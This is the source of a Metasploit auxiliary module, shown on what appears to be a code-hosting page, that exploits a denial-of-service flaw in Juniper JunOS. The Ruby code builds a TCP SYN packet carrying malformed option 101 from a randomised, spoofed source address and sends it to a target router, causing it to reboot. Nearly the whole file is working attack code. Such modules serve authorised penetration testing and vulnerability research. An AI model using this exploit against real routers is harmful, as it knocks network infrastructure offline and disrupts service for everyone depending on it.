Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/tcp/junos_tcp_opt.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Capture7include Msf::Auxiliary::Dos89def initialize10super(11'Name' => 'Juniper JunOS Malformed TCP Option',12'Description' => %q{ This module exploits a denial of service vulnerability13in Juniper Network's JunOS router operating system. By sending a TCP14packet with TCP option 101 set, an attacker can cause an affected15router to reboot.16},17'Author' => 'todb',18'License' => MSF_LICENSE,19'References' =>20[21['BID', '37670'],22['OSVDB', '61538'],23['URL','http://praetorianprefect.com/archives/2010/01/junos-juniper-flaw-exposes-core-routers-to-kernal-crash/']24]25)2627register_options([28OptInt.new('RPORT', [false, 'The destination port (defaults to random)']),29OptInt.new('SPORT', [false, 'Source port (defaults to random)']),30OptAddress.new('SHOST', [false, 'Source address (defaults to random)'])31])3233deregister_options('FILTER','PCAPFILE', 'SNAPLEN')34end3536def rport37datastore['RPORT'].to_i.zero? ? rand(0xffff) : datastore['RPORT'].to_i38end3940def sport41datastore['SPORT'].to_i.zero? ? rand(0xffff) : datastore['SPORT'].to_i42end4344def shost45datastore['SHOST'] || IPAddr.new(rand(0xffffffff), Socket::AF_INET).to_s46end4748def run4950open_pcap5152p = PacketFu::TCPPacket.new53p.ip_daddr = rhost54p.ip_saddr = shost55p.ip_ttl = rand(128) + 12856p.tcp_sport = sport57p.tcp_dport = rport58p.tcp_flags.syn = 159p.tcp_win = rand(4096)+160p.tcp_opts = "e\x02\x01\x00" # Opt 101, len 2, nop, eol61p.recalc62print_status("#{p.ip_daddr}:#{p.tcp_dport} Sending TCP Syn packet from #{p.ip_saddr}:#{p.tcp_sport}")63capture_sendto(p,rhost)64close_pcap65end66end676869